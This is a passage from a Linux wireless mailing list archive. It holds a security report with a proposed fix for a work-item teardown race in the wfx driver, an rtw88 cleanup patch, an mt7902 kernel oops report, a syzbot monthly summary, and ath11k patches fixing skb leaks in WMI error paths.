d2ed2703cabd1e drivers/net/wireless/libertas/rx.c Dan Williams 2014-05-22 96 ret = -EINVAL;
f54930f363113a drivers/net/wireless/libertas/rx.c Philip Rakity 2009-04-07 97 dev_kfree_skb(skb);
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 98 goto done;
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 99 }
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 100
e45d8e534b6758 drivers/net/wireless/libertas/rx.c Bing Zhao 2009-04-06 101 lbs_deb_rx("rx data: skb->len - pkt_ptr = %d-%zd = %zd\n",
a2caba6b5fc4e0 drivers/net/wireless/libertas/rx.c John W. Linville 2009-04-14 102 skb->len, (size_t)le32_to_cpu(p_rx_pd->pkt_ptr),
a2caba6b5fc4e0 drivers/net/wireless/libertas/rx.c John W. Linville 2009-04-14 103 skb->len - (size_t)le32_to_cpu(p_rx_pd->pkt_ptr));
876c9d3aeb989c drivers/net/wireless/libertas/rx.c Marcelo Tosatti 2007-02-10 104
ece56191932623 drivers/net/wireless/libertas/rx.c Holger Schurig 2007-08-02 105 lbs_deb_hex(LBS_DEB_RX, "RX Data: Dest", p_rx_pkt->eth803_hdr.dest_addr,
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply
* [SECURITY] wifi: wfx: use-after-destroy of wfx_vif via uncancelled work items
From: Pavitra Jha @ 2026-05-02 14:04 UTC (permalink / raw)
To: linux-wireless; +Cc: jerome.pouiller, kvalo
Hello,
I am reporting an invalid post-lifetime object access in
drivers/net/wireless/silabs/wfx/ caused by two work items embedded in
struct wfx_vif that may remain queued after mac80211 zeroes the
instance memory following drv_remove_interface().
1. ROOT CAUSE
wfx_remove_interface() cancels beacon_loss_work but not
update_tim_work or tx_policy_upload_work:
cancel_delayed_work_sync(&wvif->beacon_loss_work); /* only this */
wdev->vif[wvif->id] = NULL;
mutex_unlock(&wdev->conf_mutex);
The presence of that cancel demonstrates the driver already
acknowledges embedded async work must be flushed during teardown,
but omits the two plain work items below.
After drv_remove_interface() returns, mac80211 zeroes the driver
private area backing wvif in place (net/mac80211/iface.c):
drv_remove_interface(local, sdata);
memset(sdata->vif.drv_priv, 0, local->hw.vif_data_size);
A queued work item firing after this memset may dereference zeroed
wvif fields, resulting in invalid memory accesses.
2. UNCANCELLED WORK ITEMS
update_tim_work (sta.c:739)
Scheduled from sta.c:635, queue.c:293, data_tx.c:406, data_tx.c:539.
Callback:
static void wfx_update_tim_work(struct work_struct *work)
{
struct wfx_vif *wvif = container_of(work, struct wfx_vif,
update_tim_work);
wfx_update_tim(wvif);
}
wfx_update_tim() dereferences wvif fields directly with no mutex
protection. Execution against zeroed wvif memory may produce
invalid accesses.
tx_policy_upload_work (data_tx.c:175)
Scheduled from data_tx.c:306.
Callback dereferences wvif fields under only cache->lock (a
per-vif spinlock). Execution against zeroed wvif memory may
produce invalid accesses.
A tree-wide grep finds no direct cancellation or per-work flush of
either item anywhere in the driver:
grep -rn "cancel_work_sync.*update_tim\|cancel_work_sync.*tx_policy" \
drivers/net/wireless/silabs/wfx/
(no matches)
3. RACE WINDOW
In ieee80211_do_stop():
sta_info_flush()
-> __sta_info_destroy_part2()
-> __sta_info_recalc_tim(sta, true) /* sta->dead still false */
-> drv_set_tim()
-> wfx_set_tim()
-> schedule_work(&wvif->update_tim_work) /* QUEUED */
[wiphy_work_cancel() covers mac80211 own items only]
drv_remove_interface()
memset(sdata->vif.drv_priv, 0, ...) /* wvif zeroed */
[workqueue fires -> dereference of zeroed wvif -> invalid access]
mac80211 provides no mechanism to flush driver-registered work_struct
items around drv_remove_interface(). Note that sta->dead is set on
the line immediately after __sta_info_recalc_tim() returns, so the
!WARN_ON(sta->dead) gate at sta_info.c:1150 does not suppress
drv_set_tim() during this path.
4. FIX
One candidate fix, consistent with the existing teardown pattern:
cancel_delayed_work_sync(&wvif->beacon_loss_work);
+ cancel_work_sync(&wvif->update_tim_work);
+ cancel_work_sync(&wvif->tx_policy_upload_work);
wdev->vif[wvif->id] = NULL;
A tree-wide grep finds no direct conf_mutex acquisition in the
callback implementations or their immediate code paths, which is
consistent with placement inside the existing mutex block — though
indirect acquisition through deeper call chains has not been
exhaustively verified.
5. AFFECTED VERSIONS
Present in current mainline (Linux 7.0-rc7, confirmed).
Likely affects older versions back to driver introduction;
backport range pending verification.
CONFIG_WFX=y / m
No fix present in linux-wireless tree as of lore.kernel.org
search conducted May 2026.
Thanks,
Pavitra Jha
jhapavitra98@gmail.com
^ permalink raw reply
* [PATCH] wifi: rtw88: remove rtw_txq_dequeue
From: Martin Kaiser @ 2026-05-02 13:15 UTC (permalink / raw)
To: Ping-Ke Shih
Cc: Bitterblue Smith, linux-wireless, linux-kernel, Martin Kaiser
Remove the rtw_txq_dequeue helper. It's a wrapper around
ieee80211_tx_dequeue with just one caller.
Call ieee80211_tx_dequeue directly in rtw_txq_push. There's no need to
fetch txq for every frame, we can do this once outside of the rcu lock.
Make the loop variable i unsigned long, it should have the same type as
frames.
Signed-off-by: Martin Kaiser <martin@kaiser.cx>
---
drivers/net/wireless/realtek/rtw88/tx.c | 18 +++---------------
1 file changed, 3 insertions(+), 15 deletions(-)
diff --git a/drivers/net/wireless/realtek/rtw88/tx.c b/drivers/net/wireless/realtek/rtw88/tx.c
index 3106edb84fb4..ea2dc9bda1b6 100644
--- a/drivers/net/wireless/realtek/rtw88/tx.c
+++ b/drivers/net/wireless/realtek/rtw88/tx.c
@@ -619,31 +619,19 @@ static int rtw_txq_push_skb(struct rtw_dev *rtwdev,
return 0;
}
-static struct sk_buff *rtw_txq_dequeue(struct rtw_dev *rtwdev,
- struct rtw_txq *rtwtxq)
-{
- struct ieee80211_txq *txq = rtwtxq_to_txq(rtwtxq);
- struct sk_buff *skb;
-
- skb = ieee80211_tx_dequeue(rtwdev->hw, txq);
- if (!skb)
- return NULL;
-
- return skb;
-}
-
static void rtw_txq_push(struct rtw_dev *rtwdev,
struct rtw_txq *rtwtxq,
unsigned long frames)
{
+ struct ieee80211_txq *txq = rtwtxq_to_txq(rtwtxq);
struct sk_buff *skb;
int ret;
- int i;
+ unsigned long i;
rcu_read_lock();
for (i = 0; i < frames; i++) {
- skb = rtw_txq_dequeue(rtwdev, rtwtxq);
+ skb = ieee80211_tx_dequeue(rtwdev->hw, txq);
if (!skb)
break;
--
2.43.7
^ permalink raw reply related
* Re: [BUG] wifi: mt7902: NULL pointer dereference
From: Bongani Hlope @ 2026-05-02 12:06 UTC (permalink / raw)
To: linux-wireless
In-Reply-To: <20260502125824.425d7159@bongani-mini.home.org.za>
On Sat, 2 May 2026 12:58:24 +0200
Bongani Hlope <developer@hlope.org.za> wrote:
> Hello
>
> I'm not sure if this has been reported yet, first ran into this on
> linux-next and it is still present on linux 7.1.0-rc1+. I get the
> following kernel Oops:
addr2line -e drivers/net/wireless/mediatek/mt76/mt7921/mt7921-common.ko
mt7921_channel_switch_rx_beacon+0x1f
Gives:
include/net/cfg80211.h:1016
Which is here:
1007 static inline bool
1008 cfg80211_chandef_identical(const struct cfg80211_chan_def *chandef1,
1009 const struct cfg80211_chan_def *chandef2)
1010 {
1011 return (chandef1->chan == chandef2->chan &&
1012 chandef1->width == chandef2->width &&
1013 chandef1->center_freq1 == chandef2->center_freq1 &&
1014 chandef1->freq1_offset == chandef2->freq1_offset &&
1015 chandef1->center_freq2 == chandef2->center_freq2 &&
--> 1016 chandef1->punctured == chandef2->punctured &&
1017 chandef1->s1g_primary_2mhz == chandef2->s1g_primary_2mhz);
1018 }
8<
> Regards,
> Bongani Hlope
>
>
^ permalink raw reply
* [syzbot] Monthly wireless report (May 2026)
From: syzbot @ 2026-05-02 12:32 UTC (permalink / raw)
To: linux-kernel, linux-wireless, netdev, syzkaller-bugs
Hello wireless maintainers/developers,
This is a 31-day syzbot report for the wireless subsystem.
All related reports/information can be found at:
https://syzkaller.appspot.com/upstream/s/wireless
During the period, 2 new issues were detected and 0 were fixed.
In total, 47 issues are still open and 174 have already been fixed.
Some of the still happening issues:
Ref Crashes Repro Title
<1> 28976 Yes WARNING in rate_control_rate_init (3)
https://syzkaller.appspot.com/bug?extid=9bdc0c5998ab45b05030
<2> 18964 No WARNING in kcov_remote_start (6)
https://syzkaller.appspot.com/bug?extid=3f51ad7ac3ae57a6fdcc
<3> 10661 Yes WARNING in __rate_control_send_low (3)
https://syzkaller.appspot.com/bug?extid=34463a129786910405dd
<4> 6955 Yes WARNING in __cfg80211_ibss_joined (2)
https://syzkaller.appspot.com/bug?extid=7f064ba1704c2466e36d
<5> 1227 Yes WARNING in ieee80211_start_next_roc
https://syzkaller.appspot.com/bug?extid=c3a167b5615df4ccd7fb
<6> 1049 Yes INFO: task hung in reg_process_self_managed_hints
https://syzkaller.appspot.com/bug?extid=1f16507d9ec05f64210a
<7> 903 Yes INFO: task hung in reg_check_chans_work (7)
https://syzkaller.appspot.com/bug?extid=a2de4763f84f61499210
<8> 827 Yes INFO: rcu detected stall in ieee80211_handle_queued_frames
https://syzkaller.appspot.com/bug?extid=1c991592da3ef18957c0
<9> 624 Yes INFO: task hung in crda_timeout_work (8)
https://syzkaller.appspot.com/bug?extid=d41f74db64598e0b5016
<10> 382 Yes WARNING in ieee80211_tx_skb_tid
https://syzkaller.appspot.com/bug?extid=8bd4574e8c52c48c2595
---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.
To disable reminders for individual bugs, reply with the following command:
#syz set <Ref> no-reminders
To change bug's subsystems, reply with:
#syz set <Ref> subsystems: new-subsystem
You may send multiple commands in a single email message.
^ permalink raw reply
* [BUG] wifi: mt7902: NULL pointer dereference
From: Bongani Hlope @ 2026-05-02 10:58 UTC (permalink / raw)
To: linux-wireless
[-- Attachment #1: Type: text/plain, Size: 4646 bytes --]
Hello
I'm not sure if this has been reported yet, first ran into this on
linux-next and it is still present on linux 7.1.0-rc1+. I get the
following kernel Oops:
wpa_supplicant[918]: wlp3s0: CTRL-EVENT-STARTED-CHANNEL-SWITCH
freq=5240 ht_enabled=1 ch_offset=-1 ch_width=80 MHz cf1=5210 cf2=0
kernel: BUG: kernel NULL pointer dereference, address: 0000000000000000
kernel: #PF: supervisor read access in kernel mode
kernel: #PF: error_code(0x0000) - not-present page
kernel: PGD 0 P4D 0
kernel: Oops: Oops: 0000 [#1] SMP NOPTI
kernel: CPU: 7 UID: 0 PID: 6710 Comm: kworker/u64:1 Not tainted
7.1.0-rc1+ #4 PREEMPT(full)
kernel: Hardware name: Micro Computer (HK) Tech Limited EliteMini
Series/F7BSI, BIOS 1.08 11/05/2024
kernel: Workqueue: events_unbound cfg80211_wiphy_work [cfg80211]
kernel: PGD 0 P4D 0
kernel: Oops: Oops: 0000 [#1] SMP NOPTI
kernel: CPU: 7 UID: 0 PID: 6710 Comm: kworker/u64:1 Not tainted
7.1.0-rc1+ #4 PREEMPT(full)
kernel: Hardware name: Micro Computer (HK) Tech Limited EliteMini
Series/F7BSI, BIOS 1.08 11/05/2024
kernel: Workqueue: events_unbound cfg80211_wiphy_work [cfg80211]
kernel: RIP: 0010:mt7921_channel_switch_rx_beacon+0x1f/0x100
[mt7921_common]
kernel: Code: 12 3d 00 eb 9a 66 0f 1f 44 00 00 f3 0f 1e fa 0f 1f 44 00
00 48 8b 47 58 48 ff 05 ec 15 3d 00 48 8b 40 08 48 8b 80 80 9c 00 00 <48> 8b 08 48 39 4a 10 74 0c 48 ff 05 81 02 3d 00 e9 f7 f4 74 ea 53
kernel: RSP: 0018:ffffb75fa1993af0 EFLAGS: 00010202
kernel: RAX: 0000000000000000 RBX: ffff91cae1eb09e0 RCX:
0000000000000000
kernel: RDX: ffffb75fa1993b20 RSI: ffff91ca84badfe8 RDI:
ffff91cae1eb09e0
kernel: RBP: ffff91ca84bacac0 R08: 0000000000000001 R09:
0000000000000001
kernel: R10: ffff91ca8ba56128 R11: ffff91cae1eb0518 R12:
0000000000000000
kernel: R13: 0000000000000000 R14: ffffb75fa1993b60 R15:
ffff91cae1eb09e0
kernel: FS: 0000000000000000(0000) GS:ffff91d18ebde000(0000)
knlGS:0000000000000000
kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
kernel: CR2: 0000000000000000 CR3: 0000000562a38000 CR4:
0000000000f50ef0
kernel: PKRU: 55555554
kernel: Call Trace:
kernel: <TASK>
kernel: ieee80211_sta_process_chanswitch+0x67c/0xee0 [mac80211]
kernel: ieee80211_rx_mgmt_beacon+0x842/0x22a0 [mac80211]
kernel: ? __entry_text_end+0x1020b6/0x1020b9
kernel: ? internal_add_timer+0x4d/0x80
kernel: ? __mod_timer+0x25e/0x500
kernel: ? srso_alias_return_thunk+0x5/0xfbef5
kernel: ieee80211_sta_rx_queued_mgmt+0xa7/0xbb0 [mac80211]
kernel: ? srso_alias_return_thunk+0x5/0xfbef5
kernel: ? psi_task_switch+0x31e/0x410
kernel: ? srso_alias_return_thunk+0x5/0xfbef5
kernel: ieee80211_iface_work+0x62e/0x890 [mac80211]
kernel: ? srso_alias_return_thunk+0x5/0xfbef5
kernel: ? __schedule+0x5c8/0x20d0
kernel: cfg80211_wiphy_work+0x1ee/0x280 [cfg80211]
kernel: process_scheduled_works+0x180/0x680
kernel: ? rescuer_thread+0x7f0/0x7f0
kernel: worker_thread+0x1aa/0x450
kernel: ? rescuer_thread+0x7f0/0x7f0
kernel: kthread+0x181/0x1e0
kernel: ? kthread_affine_node+0x1e0/0x1e0
kernel: ret_from_fork+0x405/0x600
kernel: ? kthread_affine_node+0x1e0/0x1e0
kernel: ret_from_fork_asm+0x11/0x20
kernel: </TASK>
kernel: Modules linked in: joydev uinput mptcp_diag xsk_diag tcp_diag
udp_diag raw_diag inet_diag unix_diag af_packet_diag netlink_diag sd_mod scsi_mod scsi_common ccm snd_seq_dummy snd_hrtimer snd_seq snd_>
kernel: snd snd_pci_acp5x snd_rn_pci_acp3x irqbypass aesni_intel
snd_acp_config gf128mul snd_soc_acpi rapl ecdh_generic pcspkr k10temp amd_pmc snd_pci_acp3x soundcore button evdev rfkill libarc4 aead msr e>
kernel: CR2: 0000000000000000
kernel: ---[ end trace 0000000000000000 ]---
kernel: RIP: 0010:mt7921_channel_switch_rx_beacon+0x1f/0x100
[mt7921_common]
kernel: Code: 12 3d 00 eb 9a 66 0f 1f 44 00 00 f3 0f 1e fa 0f 1f 44 00
00 48 8b 47 58 48 ff 05 ec 15 3d 00 48 8b 40 08 48 8b 80 80 9c 00 00 <48> 8b 08 48 39 4a 10 74 0c 48 ff 05 81 02 3d 00 e9 f7 f4 74 ea 53
kernel: RSP: 0018:ffffb75fa1993af0 EFLAGS: 00010202
kernel: RAX: 0000000000000000 RBX: ffff91cae1eb09e0 RCX:
0000000000000000
kernel: RDX: ffffb75fa1993b20 RSI: ffff91ca84badfe8 RDI:
ffff91cae1eb09e0
kernel: RBP: ffff91ca84bacac0 R08: 0000000000000001 R09:
0000000000000001
kernel: R10: ffff91ca8ba56128 R11: ffff91cae1eb0518 R12:
0000000000000000
kernel: R13: 0000000000000000 R14: ffffb75fa1993b60 R15:
ffff91cae1eb09e0
kernel: FS: 0000000000000000(0000) GS:ffff91d18ebde000(0000)
knlGS:0000000000000000
kernel: CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
kernel: CR2: 0000000000000000 CR3: 0000000562a38000 CR4:
0000000000f50ef0
kernel: PKRU: 55555554
kernel: note: kworker/u64:1[6710] exited with irqs disabled
Regards,
Bongani Hlope
[-- Attachment #2: lspci.txt --]
[-- Type: text/plain, Size: 3580 bytes --]
00:00.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Root Complex
00:00.2 IOMMU: Advanced Micro Devices, Inc. [AMD] Phoenix IOMMU
00:01.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Host Bridge
00:01.2 PCI bridge: Advanced Micro Devices, Inc. [AMD] Phoenix GPP Bridge
00:02.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Host Bridge
00:02.1 PCI bridge: Advanced Micro Devices, Inc. [AMD] Phoenix GPP Bridge
00:02.3 PCI bridge: Advanced Micro Devices, Inc. [AMD] Phoenix GPP Bridge
00:03.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Host Bridge
00:03.1 PCI bridge: Advanced Micro Devices, Inc. [AMD] Family 19h USB4/Thunderbolt PCIe tunnel
00:04.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Host Bridge
00:04.1 PCI bridge: Advanced Micro Devices, Inc. [AMD] Family 19h USB4/Thunderbolt PCIe tunnel
00:08.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Host Bridge
00:08.1 PCI bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Internal GPP Bridge to Bus [C:A]
00:08.2 PCI bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Internal GPP Bridge to Bus [C:A]
00:08.3 PCI bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Internal GPP Bridge to Bus [C:A]
00:14.0 SMBus: Advanced Micro Devices, Inc. [AMD] FCH SMBus Controller (rev 71)
00:14.3 ISA bridge: Advanced Micro Devices, Inc. [AMD] FCH LPC Bridge (rev 51)
00:18.0 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 0
00:18.1 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 1
00:18.2 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 2
00:18.3 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 3
00:18.4 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 4
00:18.5 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 5
00:18.6 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 6
00:18.7 Host bridge: Advanced Micro Devices, Inc. [AMD] Phoenix Data Fabric; Function 7
01:00.0 Non-Volatile memory controller: Kingston Technology Company, Inc. OM8TAP4 PCIe 4 NVMe SSD (QLC) (DRAM-less)
02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8125 2.5GbE Controller (rev 05)
03:00.0 Network controller: MEDIATEK Corp. Device 7902
c4:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Phoenix3 (rev b3)
c4:00.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] Radeon High Definition Audio Controller [Rembrandt/Strix]
c4:00.2 Encryption controller: Advanced Micro Devices, Inc. [AMD] Phoenix CCP/PSP 3.0 Device
c4:00.3 USB controller: Advanced Micro Devices, Inc. [AMD] Device 15b9
c4:00.4 USB controller: Advanced Micro Devices, Inc. [AMD] Device 15ba
c4:00.5 Multimedia controller: Advanced Micro Devices, Inc. [AMD] Audio Coprocessor (rev 63)
c4:00.6 Audio device: Advanced Micro Devices, Inc. [AMD] Family 17h/19h/1ah HD Audio Controller
c5:00.0 Non-Essential Instrumentation [1300]: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Function
c6:00.0 Non-Essential Instrumentation [1300]: Advanced Micro Devices, Inc. [AMD] Phoenix Dummy Function
c6:00.3 USB controller: Advanced Micro Devices, Inc. [AMD] Device 15c0
c6:00.4 USB controller: Advanced Micro Devices, Inc. [AMD] Device 15c1
c6:00.5 USB controller: Advanced Micro Devices, Inc. [AMD] Pink Sardine USB4/Thunderbolt NHI controller #1
c6:00.6 USB controller: Advanced Micro Devices, Inc. [AMD] Pink Sardine USB4/Thunderbolt NHI controller #2
^ permalink raw reply
* Re: [PATCH ath 0/2] fix leaks in some WMI error path
From: Nicolas Escande @ 2026-05-02 7:16 UTC (permalink / raw)
To: Jeff Johnson, Nicolas Escande, ath12k; +Cc: linux-wireless
In-Reply-To: <67aba8de-9a4e-46bd-936a-688abdb5d01e@oss.qualcomm.com>
On Thu Apr 30, 2026 at 11:54 PM CEST, Jeff Johnson wrote:
> On 4/24/2026 7:48 AM, Nicolas Escande wrote:
>> So this is similar work to what has been posted here [0] for ath12k.
>>
>> When we use the pattern 'return ath11k_wmi_cmd_send(...)' without
>> explicitly checking the return value we fail to free the allocated skb.
>>
>> This has been split into 2 patches per Jeff's guidance to hopefully
>> ease the backporting process.
>>
>> [0] https://lore.kernel.org/linux-wireless/20260422163258.3013872-1-nico.escande@gmail.com/
>>
>> Nicolas Escande (2):
>> wifi: ath11k: fix leak in error path of some WOW related WMI commands
>> wifi: ath11k: fix error path leaks in some WMI calls
>>
>> drivers/net/wireless/ath/ath11k/wmi.c | 131 ++++++++++++++++++++++----
>> 1 file changed, 112 insertions(+), 19 deletions(-)
>>
>
> Please repost and include the ath11k list
Ha yes sorry about that. Got betrayed by my shell history.
^ permalink raw reply
* [PATCH 2/2] wifi: ath11k: fix error path leaks in some WMI calls
From: Nicolas Escande @ 2026-05-02 7:14 UTC (permalink / raw)
To: ath11k; +Cc: linux-wireless
In-Reply-To: <20260502071453.2379188-1-nico.escande@gmail.com>
This is the same pattern that was previously identified as problematic:
direct 'return ath11k_wmi_cmd_send(...)' will leak the skb in the error
path if it is not explicitly handled.
Fixes: c417b247ba04 ("ath11k: implement hardware data filter")
Fixes: 9cbd7fc9be82 ("ath11k: support MAC address randomization in scan")
Fixes: ba9177fcef21 ("ath11k: Add basic WoW functionalities")
Fixes: fec4b898f369 ("ath11k: Add WoW net-detect functionality")
Fixes: c3c36bfe998b ("ath11k: support ARP and NS offload")
Fixes: a16d9b50cfba ("ath11k: support GTK rekey offload")
Fixes: 652f69ed9c1b ("ath11k: Add support for SAR")
Fixes: 0f84a156aa3b ("ath11k: Handle keepalive during WoWLAN suspend and resume")
Signed-off-by: Nicolas Escande <nico.escande@gmail.com>
---
drivers/net/wireless/ath/ath11k/wmi.c | 112 ++++++++++++++++++++++----
1 file changed, 96 insertions(+), 16 deletions(-)
diff --git a/drivers/net/wireless/ath/ath11k/wmi.c b/drivers/net/wireless/ath/ath11k/wmi.c
index 024c2aad9fb4..dca6e011cc40 100644
--- a/drivers/net/wireless/ath/ath11k/wmi.c
+++ b/drivers/net/wireless/ath/ath11k/wmi.c
@@ -9299,7 +9299,7 @@ int ath11k_wmi_hw_data_filter_cmd(struct ath11k *ar, u32 vdev_id,
{
struct wmi_hw_data_filter_cmd *cmd;
struct sk_buff *skb;
- int len;
+ int ret, len;
len = sizeof(*cmd);
skb = ath11k_wmi_alloc_skb(ar->wmi->wmi_ab, len);
@@ -9324,7 +9324,13 @@ int ath11k_wmi_hw_data_filter_cmd(struct ath11k *ar, u32 vdev_id,
"hw data filter enable %d filter_bitmap 0x%x\n",
enable, filter_bitmap);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_HW_DATA_FILTER_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_HW_DATA_FILTER_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_HW_DATA_FILTER_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_wow_host_wakeup_ind(struct ath11k *ar)
@@ -9389,7 +9395,7 @@ int ath11k_wmi_scan_prob_req_oui(struct ath11k *ar,
struct sk_buff *skb;
struct wmi_scan_prob_req_oui_cmd *cmd;
u32 prob_req_oui;
- int len;
+ int ret, len;
prob_req_oui = (((u32)mac_addr[0]) << 16) |
(((u32)mac_addr[1]) << 8) | mac_addr[2];
@@ -9408,7 +9414,13 @@ int ath11k_wmi_scan_prob_req_oui(struct ath11k *ar,
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "scan prob req oui %d\n",
prob_req_oui);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_SCAN_PROB_REQ_OUI_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_SCAN_PROB_REQ_OUI_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_SCAN_PROB_REQ_OUI_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_wow_add_wakeup_event(struct ath11k *ar, u32 vdev_id,
@@ -9418,6 +9430,7 @@ int ath11k_wmi_wow_add_wakeup_event(struct ath11k *ar, u32 vdev_id,
struct wmi_wow_add_del_event_cmd *cmd;
struct sk_buff *skb;
size_t len;
+ int ret;
len = sizeof(*cmd);
skb = ath11k_wmi_alloc_skb(ar->wmi->wmi_ab, len);
@@ -9435,7 +9448,13 @@ int ath11k_wmi_wow_add_wakeup_event(struct ath11k *ar, u32 vdev_id,
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "tlv wow add wakeup event %s enable %d vdev_id %d\n",
wow_wakeup_event(event), enable, vdev_id);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_ENABLE_DISABLE_WAKE_EVENT_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_ENABLE_DISABLE_WAKE_EVENT_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_WOW_ENABLE_DISABLE_WAKE_EVENT_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_wow_add_pattern(struct ath11k *ar, u32 vdev_id, u32 pattern_id,
@@ -9448,6 +9467,7 @@ int ath11k_wmi_wow_add_pattern(struct ath11k *ar, u32 vdev_id, u32 pattern_id,
struct sk_buff *skb;
u8 *ptr;
size_t len;
+ int ret;
len = sizeof(*cmd) +
sizeof(*tlv) + /* array struct */
@@ -9540,7 +9560,13 @@ int ath11k_wmi_wow_add_pattern(struct ath11k *ar, u32 vdev_id, u32 pattern_id,
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "tlv wow add pattern vdev_id %d pattern_id %d pattern_offset %d\n",
vdev_id, pattern_id, pattern_offset);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_ADD_WAKE_PATTERN_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_ADD_WAKE_PATTERN_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_WOW_ADD_WAKE_PATTERN_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_wow_del_pattern(struct ath11k *ar, u32 vdev_id, u32 pattern_id)
@@ -9548,6 +9574,7 @@ int ath11k_wmi_wow_del_pattern(struct ath11k *ar, u32 vdev_id, u32 pattern_id)
struct wmi_wow_del_pattern_cmd *cmd;
struct sk_buff *skb;
size_t len;
+ int ret;
len = sizeof(*cmd);
skb = ath11k_wmi_alloc_skb(ar->wmi->wmi_ab, len);
@@ -9566,7 +9593,13 @@ int ath11k_wmi_wow_del_pattern(struct ath11k *ar, u32 vdev_id, u32 pattern_id)
ath11k_dbg(ar->ab, ATH11K_DBG_WMI, "tlv wow del pattern vdev_id %d pattern_id %d\n",
vdev_id, pattern_id);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_DEL_WAKE_PATTERN_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_WOW_DEL_WAKE_PATTERN_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_WOW_DEL_WAKE_PATTERN_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
static struct sk_buff *
@@ -9710,6 +9743,7 @@ int ath11k_wmi_wow_config_pno(struct ath11k *ar, u32 vdev_id,
struct wmi_pno_scan_req *pno_scan)
{
struct sk_buff *skb;
+ int ret;
if (pno_scan->enable)
skb = ath11k_wmi_op_gen_config_pno_start(ar, vdev_id, pno_scan);
@@ -9719,7 +9753,13 @@ int ath11k_wmi_wow_config_pno(struct ath11k *ar, u32 vdev_id,
if (IS_ERR_OR_NULL(skb))
return -ENOMEM;
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_NETWORK_LIST_OFFLOAD_CONFIG_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_NETWORK_LIST_OFFLOAD_CONFIG_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_NETWORK_LIST_OFFLOAD_CONFIG_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
static void ath11k_wmi_fill_ns_offload(struct ath11k *ar,
@@ -9837,6 +9877,7 @@ int ath11k_wmi_arp_ns_offload(struct ath11k *ar,
u8 *buf_ptr;
size_t len;
u8 ns_cnt, ns_ext_tuples = 0;
+ int ret;
offload = &arvif->arp_ns_offload;
ns_cnt = offload->ipv6_count;
@@ -9875,7 +9916,13 @@ int ath11k_wmi_arp_ns_offload(struct ath11k *ar,
if (ns_ext_tuples)
ath11k_wmi_fill_ns_offload(ar, offload, &buf_ptr, enable, 1);
- return ath11k_wmi_cmd_send(ar->wmi, skb, WMI_SET_ARP_NS_OFFLOAD_CMDID);
+ ret = ath11k_wmi_cmd_send(ar->wmi, skb, WMI_SET_ARP_NS_OFFLOAD_CMDID);
+ if (ret) {
+ ath11k_warn(ar->ab, "failed to send WMI_SET_ARP_NS_OFFLOAD_CMDID\n");
+ dev_kfree_skb(skb);
+ }
+
+ return ret;
}
int ath11k_wmi_gtk_rekey_offload(struct ath11k *ar,
@@ -9883,7 +9930,7 @@ int ath11k_wmi_gtk_rekey_offload(struct ath11k *ar,
{
struct wmi_gtk_rekey_offload_cmd *cmd;
struct ath11k_rekey_data *rekey_data = &arvif->rekey_data;
- int len;
+ int ret, len;
